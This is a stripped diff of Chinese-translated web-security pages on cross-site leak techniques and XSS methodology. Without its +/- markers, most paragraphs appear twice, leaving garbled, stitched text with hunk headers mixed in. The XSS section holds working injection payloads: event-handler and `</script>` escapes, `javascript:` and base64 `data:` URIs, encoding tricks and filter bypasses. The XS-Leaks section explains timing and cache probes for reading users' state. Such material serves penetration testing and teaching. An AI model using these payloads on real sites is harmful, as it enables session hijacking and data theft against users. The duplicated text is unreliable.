Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 CSS 文件可以通过 **HTML link 元素** 嵌入到攻击者页面中,**规则** 将被 **应用** 到攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态 **检测** 这些 **差异**。\
作为一种泄露技术,攻击者可以使用 `window.getComputedStyle` 方法 **读取特定 HTML 元素的 CSS** 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。
作为一种泄露技术,攻击者可以使用 `window.getComputedStyle` 方法 **读取特定 HTML 元素的 CSS** 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。
### CSS History
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Summary:** 检测 `:visited` 样式是否应用于 URL指示其已被访问
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
@ -713,11 +713,11 @@ Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 C
> [!NOTE]
> 根据 [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/),在无头 Chrome 中此方法无效。
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法泄露链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式。过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法泄露链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
尽管有这些限制,但可以间接识别链接的访问状态。一种技术涉及诱使用户与受 CSS 影响的区域进行交互,特别是利用 `mix-blend-mode` 属性。该属性允许元素与其背景混合,可能根据用户交互揭示访问状态。
此外,可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差。在 Chromium 的一个错误报告中提到了一种概念验证PoC,演示了使用多个链接来放大时间差,从而通过时间分析使访问状态可检测。
此外,可以通过利用链接的渲染时间而无需用户交互来实现检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差。一个概念证明PoC在 Chromium 错误报告中提到,演示了使用多个链接来放大时间差,从而通过时间分析使访问状态可检测。
有关这些属性和方法的更多详细信息,请访问其文档页面:
@ -733,7 +733,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Summary:** 在 Google Chrome 中,当由于 X-Frame-Options 限制而阻止页面嵌入到跨域站点时,会显示专用错误页面。
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
在 Chrome 中,如果一个带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象(而不是 `null` iframe 或其他浏览器中的表现不同。攻击者可以通过检测空文档来利用这一点,可能揭示有关用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,通常会忽略错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
在 Chrome 中,如果一个带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象(而不是 `null`),与 iframe 或其他浏览器不同。攻击者可以通过检测空文档来利用这一点,可能揭示用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,常常忽视错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
### Download Detection
@ -743,15 +743,15 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Summary:** 攻击者可以通过利用 iframe 来识别文件下载iframe 的持续可访问性意味着文件下载成功。
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
`Content-Disposition` 头,特别是 `Content-Disposition: attachment`,指示浏览器下载内容而不是内联显示。攻击者可以利用这一行为来检测用户是否访问了触发文件下载的页面。在基于 Chromium 的浏览器中,有几种技术可以检测这种下载行为:
`Content-Disposition` 头,特别是 `Content-Disposition: attachment`,指示浏览器下载内容而不是内联显示。这种行为可以被利用来检测用户是否可以访问触发文件下载的页面。在基于 Chromium 的浏览器中,有几种技术可以检测这种下载行为:
1. **下载栏监控**
- 当文件在基于 Chromium 的浏览器中下载时,浏览器窗口底部会出现下载栏。
- 当在基于 Chromium 的浏览器中下载文件时,浏览器窗口底部会出现下载栏。
- 通过监控窗口高度的变化,攻击者可以推断下载栏的出现,表明下载已启动。
2. **使用 Iframe 进行下载导航**
2. **使用 Iframes 进行下载导航**
- 当页面使用 `Content-Disposition: attachment` 头触发文件下载时,它不会导致导航事件。
- 通过在 iframe 中加载内容并监控导航事件,可以检查内容处置是否导致文件下载(无导航)或不是。
3. **不使用 Iframe 的下载导航**
3. **不使用 Iframes 的下载导航**
- 与 iframe 技术类似,此方法涉及使用 `window.open` 而不是 iframe。
- 监控新打开窗口中的导航事件可以揭示是否触发了文件下载(无导航)或内容是否内联显示(发生导航)。
@ -766,13 +766,13 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (来自 [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> 这就是为什么这个技术很有趣Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但如果我打开一个 ngrok 页面并在其中使用 fetch缓存键将是`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多细节:[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
> 这就是为什么这项技术有趣的原因Chrome 现在有 **缓存分区**,新打开页面的缓存键是:`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`,但如果我打开一个 ngrok 页面并在其中使用 fetch缓存键将是`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`**缓存键是不同的**,因此缓存不能共享。您可以在这里找到更多细节:[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (来自 [**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的评论)
如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源,那么该资源将具有与通过顶级导航直接请求该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
因为访问缓存比加载资源更快,所以可以尝试更改页面的位置并在 20 毫秒(例如)后取消它。如果在停止后更改了源,则意味着资源已被缓存。\
或者可以 **发送一些 fetch 到潜在缓存页面并测量所需时间**。
因为访问缓存比加载资源更快,所以可以尝试更改页面的位置并在 20 毫秒后取消它(例如)。如果在停止后更改了源,则意味着资源已被缓存。\
或者可以 **向可能被缓存的页面发送一些 fetch 并测量所需时间**。
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -797,7 +797,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Script Pollution
- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** 可以 **覆盖内置函数** 并读取其参数,即使是来自 **跨域脚本**(无法直接读取),这可能 **泄露有价值的信息**
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
@ -805,14 +805,14 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Service Workers <a href="#service-workers" id="service-workers"></a>
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** 测量使用服务工作者的网页的执行时间。
- **Code Example**:
在给定的场景中,攻击者主动在其域之一 "attacker.com" 中注册一个 **服务工作者**。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
在给定的场景中,攻击者主动在其域之一中注册一个 **服务工作者**,具体为 "attacker.com"。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
在前一步发起的请求到达时,**服务工作者** 以 **204 (No Content)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获了在第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
在前一步发起的请求到达时,**服务工作者** 以 **204 (No Content)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获前面第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
> [!WARNING]
> 在执行计时中,可以 **消除** **网络因素** 以获得 **更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
@ -820,7 +820,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Fetch Timing
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing (通常由于页面内容、状态码)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Summary:** 使用 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) 测量执行请求所需的时间。可以使用其他时钟。
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
@ -828,7 +828,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Cross-Window Timing
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (通常由于页面内容、状态码)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** 使用 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) 测量使用 `window.open` 执行请求所需的时间。可以使用其他时钟。
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
@ -847,16 +847,16 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Image Lazy Loading
如果您需要 **提取内容** 并且可以 **在秘密之前添加 HTML**,您应该检查 **常见的悬挂标记技术**。\
但是,如果出于某种原因您 **必须** 逐字符进行(也许通信是通过缓存命中),您可以使用这个技巧。
但是,如果由于某种原因您 **必须** 逐个字符地进行(也许通信是通过缓存命中),您可以使用这个技巧。
**图像** 在 HTML 中具有一个 "**loading**" 属性,其值可以是 "**lazy**"。在这种情况下,图像将在查看时加载,而不是在页面加载时:
**图像** 在 HTML 中具有一个 "**loading**" 属性,其值可以是 "**lazy**"。在这种情况下,图像将在查看时加载,而不是在页面加载时:
```html
<img src=/something loading=lazy >
```
因此,您可以做的是**添加大量垃圾字符**(例如**成千上万的"W"**)来**填充网页在秘密之前,或者添加类似**`<br><canvas height="1850px"></canvas><br>`**\
然后,如果例如我们的**注入出现在标志之前****图像**将会**加载**,但如果出现在**标志之后**,标志 + 垃圾将**阻止其加载**(您需要尝试放置多少垃圾)。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的情。
因此,您可以做的是**添加大量垃圾字符**(例如**成千上万的"W"**)来**填充网页在秘密之前,或者添加类似**`<br><canvas height="1850px"></canvas><br>`**的内容。\
然后,如果例如我们的**注入出现在标志之前****图像**将会**加载**,但如果出现在**标志之后**,标志 + 垃圾将**阻止其加载**(您需要调整放置多少垃圾)。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的情
另一个选项是使用**scroll-to-text-fragment**,如果允许的话
另一个选项是使用**scroll-to-text-fragment**(如果允许的话)
#### Scroll-to-text-fragment
@ -872,9 +872,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
一些利用此漏洞的代码示例:[https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### 基于图像懒加载时间
### 图像懒加载基于时间
如果 **无法加载外部图像**,这可能会向攻击者指示图像已加载,另一种选择是尝试 **多次猜测字符并测量**。如果图像加载,所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) 中使用的内容,**总结如下**
如果 **无法加载外部图像**,这可能会向攻击者指示图像已加载,另一种选择是尝试 **多次猜测字符并测量**。如果图像加载,所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **中总结的内容**
{{#ref}}
event-loop-blocking-+-lazy-images.md
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
### CSS ReDoS
如果使用 `jQuery(location.hash)`,可以通过时间判断 **某些 HTML 内容是否存在**,这是因为如果选择器 `main[id='site-main']` 不匹配,则不需要检查其余的 **选择器**
如果使用 `jQuery(location.hash)`,可以通过时间判断 **某些 HTML 内容是否存在**,这是因为如果选择器 `main[id='site-main']` 不匹配,则不需要检查其余的 **选择器**
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
@ -902,7 +902,7 @@ css-injection/
## 防御
在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 维基的每个部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 中以及维基的每个部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
## 参考

View File

@ -2,30 +2,30 @@
## 方法论
1. 检查 **任何你控制的值** (_参数__路径__头部__cookies_) 是否在 HTML 中被 **反射****被** **JS** 代码 **使用**。
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射****被 JS 代码使用**。
2. **找到上下文**,查看它是如何被反射/使用的。
3. 如果 **被反射**
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
1. 在 **原始 HTML** 中:
1. 你能创建新的 HTML 标签吗?
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
3. 你能绕过保护吗?
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS__VueJS__Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗?
2. 在 **HTML 标签**
1. 你能退出到原始 HTML 上下文吗?
2. 你能创建新的事件/属性来执行 JS 代码吗?
3. 你被困的属性是否支持 JS 执行?
4. 你能绕过保护吗?
3. 在 **JavaScript 代码**
1. 你能逃逸 `<script>` 标签吗?
2. 你能逃逸字符串并执行不同的 JS 代码吗?
3. 你的输入是否在模板字面量 \`\` 中?
4. 你能绕过保护吗?
4. Javascript **函数** 被 **执行**
1. 你可以指明要执行的函数名称。例如: `?callback=alert(1)`
4. 如果 **被使用**
1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用**
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
1. 在 **原始 HTML** 中:
1. 你能创建新的 HTML 标签吗?
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
3. 你能绕过保护吗?
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗?
2. 在 **HTML 标签**
1. 你能退出到原始 HTML 上下文吗?
2. 你能创建新的事件/属性来执行 JS 代码吗?
3. 你被困的属性是否支持 JS 执行?
4. 你能绕过保护吗?
3. 在 **JavaScript 代码**
1. 你能逃逸 `<script>` 标签吗?
2. 你能逃逸字符串并执行不同的 JS 代码吗?
3. 你的输入是否在模板字面量 \`\` 中?
4. 你能绕过保护吗?
4. Javascript **函数**被 **执行**
1. 你可以指明要执行的函数名称。例如:`?callback=alert(1)`
4. 如果 **被使用**
1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用**
在处理复杂的 XSS 时,你可能会发现了解以下内容很有趣:
@ -57,7 +57,7 @@ debugging-client-side-js.md
1. **从属性和标签中逃逸**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
2. 如果你 **可以从属性中逃逸但不能从标签中逃逸**`>` 被编码或删除),根据标签你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
3. 如果你 **无法从属性中逃逸**`"` 被编码或删除),那么根据 **你的值被反射在哪个属性中**,如果你控制整个值或仅部分值,你将能够利用它。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入在 "**不可利用的标签**" 中被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你需要某种社会工程来利用它):**`" accesskey="x" onclick="alert(1)" x="`**
4. 如果你的输入在 "**不可利用的标签**" 中被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你需要某种社会工程来利用它):**`" accesskey="x" onclick="alert(1)" x="**
如果你控制一个类名Angular 执行 XSS 的奇怪例子:
```html
@ -67,9 +67,9 @@ debugging-client-side-js.md
```
### Inside JavaScript code
在这种情况下,您的输入反映在 HTML 页面中的 **`<script> [...] </script>`** 标签之间`.js` 文件中或使用 **`javascript:`** 协议的属性中:
在这种情况下,您的输入反映在 HTML 页面中的 **`<script> [...] </script>`** 标签之间,或者在 `.js` 文件中,或在使用 **`javascript:`** 协议的属性中:
- 如果反映在 **`<script> [...] </script>`** 标签之间,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>`从此上下文中逃脱。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
- 如果反映在 **`<script> [...] </script>`** 标签之间,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>`逃离此上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
- 如果反映 **在 JS 字符串内**,并且最后一个技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
- `'-alert(1)-'`
- `';-alert(1)//`
@ -94,7 +94,7 @@ js-hoisting.md
一些网页有端点**接受作为参数要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`
找出用户直接提供的内容是否试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
找出用户直接提供的内容是否试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
![](<../../images/image (711).png>)
@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md
当您的输入在**HTML 页面中被反射**或您可以在此上下文中转义并注入 HTML 代码时,您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
对于这些情况,还**请记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
_**注意HTML 注释可以使用\*\*\*\*\*\***\***\*`-->`\*\***\***\*或 \*\*\*\*\*\***`--!>`\*\*_
_**注意HTML 注释可以使用\*\***\***\*`-->`\*\***\***\*或\*\***`--!>`\*\*关闭_
在这种情况下,如果没有使用黑名单/白名单,您可以使用如下有效载荷:
```html
@ -166,7 +166,7 @@ alert(1)
### 标签/事件暴力破解
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。接着,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_并按照之前的程序进行)。
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 并点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_ 并按照之前的程序进行)。
### 自定义标签
@ -250,7 +250,7 @@ onerror=alert`1`
### 在标签内/从属性值中转义
如果你在 **HTML 标签内**,你可以尝试的第一件事是 **从标签中转义**,并使用 [上一节](#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
如果你 **无法从标签中转义**,你可以在标签内创建新的属性以尝试执行 JS 代码例如使用一些有效载荷_注意在这个例子中使用双引号来从属性中转义,如果你的输入直接反映在标签内,你将不需要它们_
如果你 **无法从标签中转义**,你可以在标签内创建新的属性以尝试执行 JS 代码例如使用一些有效载荷_请注意,在此示例中使用双引号从属性中转义,如果你的输入直接反映在标签内,则不需要它们_
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -265,14 +265,14 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Within the attribute
### 在属性内
即使你**无法从属性中逃脱**`"`被编码或删除),根据**你的值反射在哪个属性中****如果你控制所有值或只是部分值**,你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
**通过HTML编码/URL编码绕过事件**
**使用HTML编码/URL编码绕过事件**
HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML标签属性值内的**HTML编码字符**在运行时会被**解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">返回</a>`
请注意**任何类型的HTML编码都是有效的**
```javascript
@ -303,7 +303,7 @@ HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此
```
### 特殊协议在属性中
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互,有些则不需要。
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互,有些则不需要。
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**可以注入这些协议的地方**
**一般来说** `javascript:` 协议可以 **在任何接受 `href` 属性的标签中使用**,并且在 **大多数** 接受 **`src` 属性的标签中使用**(但不包括 `<img>`
**一般来说** `javascript:` 协议可以 **用于任何接受 `href` 属性的标签**,以及 **大多数** 接受 **`src` 属性的标签**(但不包括 `<img>`
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -357,11 +357,11 @@ _**在这种情况下上一节中的HTML编码和Unicode编码技巧在属性
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将不会** **工作**,但你可以在 **payload****混合使用它们**。
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将不会** **工作**,但你可以在 **payload****混合使用**。
**使用 Hex 和 Octal 编码与 `javascript:`**
你可以在 `iframe``src` 属性中(至少)使用 **Hex****Octal 编码** 来声明 **HTML 标签以执行 JS**
你可以在 `iframe``src` 属性中(至少)使用 **Hex****Octal encode** 来声明 **HTML 标签以执行 JS**
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
```
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以利用隐藏输入:**
[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以利用隐藏输入:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
### 黑名单绕过
本节中已经揭示了几种使用不同编码的技巧。请**返回学习可以使用的内容:**
本节中已经揭示了使用不同编码的几种技巧。请**返回学习可以使用的内容:**
- **HTML编码HTML标签**
- **Unicode编码可以是有效的JS代码** `\u0061lert(1)`
@ -440,7 +440,7 @@ onbeforetoggle="alert(2)" />
**HTML标签和属性的绕过**
阅读[一节的黑名单绕过](#blacklist-bypasses)。
阅读[一节的黑名单绕过](#blacklist-bypasses)。
**JavaScript代码的绕过**
@ -448,11 +448,11 @@ onbeforetoggle="alert(2)" />
### CSS小工具
如果在网页的**非常小的部分**发现了**XSS**并且需要某种交互可能是页脚中的一个小链接带有onmouseover元素可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
如果在网页的**非常小的部分**发现了**XSS**并且需要某种交互可能是页脚中的一个小链接带有onmouseover元素可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
例如,可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
例如,可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
但是如果WAF正在过滤样式属性你可以使用CSS样式小工具因此如果你发现,例如
但是如果WAF正在过滤样式属性您可以使用CSS样式小工具因此如果您发现,例如
> .test {display:block; color: blue; width: 100%\}
@ -460,7 +460,7 @@ onbeforetoggle="alert(2)" />
> \#someid {top: 0; font-family: Tahoma;}
现在可以修改我们的链接并将其变为
现在可以修改我们的链接并将其变为
> \<a href="" id=someid class=test onclick=alert() a="">
@ -468,15 +468,15 @@ onbeforetoggle="alert(2)" />
## 在JavaScript代码中注入
在这些情况下,的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间或在可以执行JS代码的HTML事件之间或在接受`javascript:`协议的属性之间。
在这些情况下,的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间或在可以执行JS代码的HTML事件之间或在接受`javascript:`协议的属性之间。
### 转义\<script>标签
如果的代码插入在`<script> [...] var input = 'reflected data' [...] </script>`中,可以轻松地**转义关闭`<script>`**标签:
如果的代码插入在`<script> [...] var input = 'reflected data' [...] </script>`中,可以轻松地**转义关闭`<script>`**标签:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。对 JavaScript 的解析以理解和执行嵌入的脚本仅在之后进行
注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本是在之后进行的
### 在 JS 代码内部
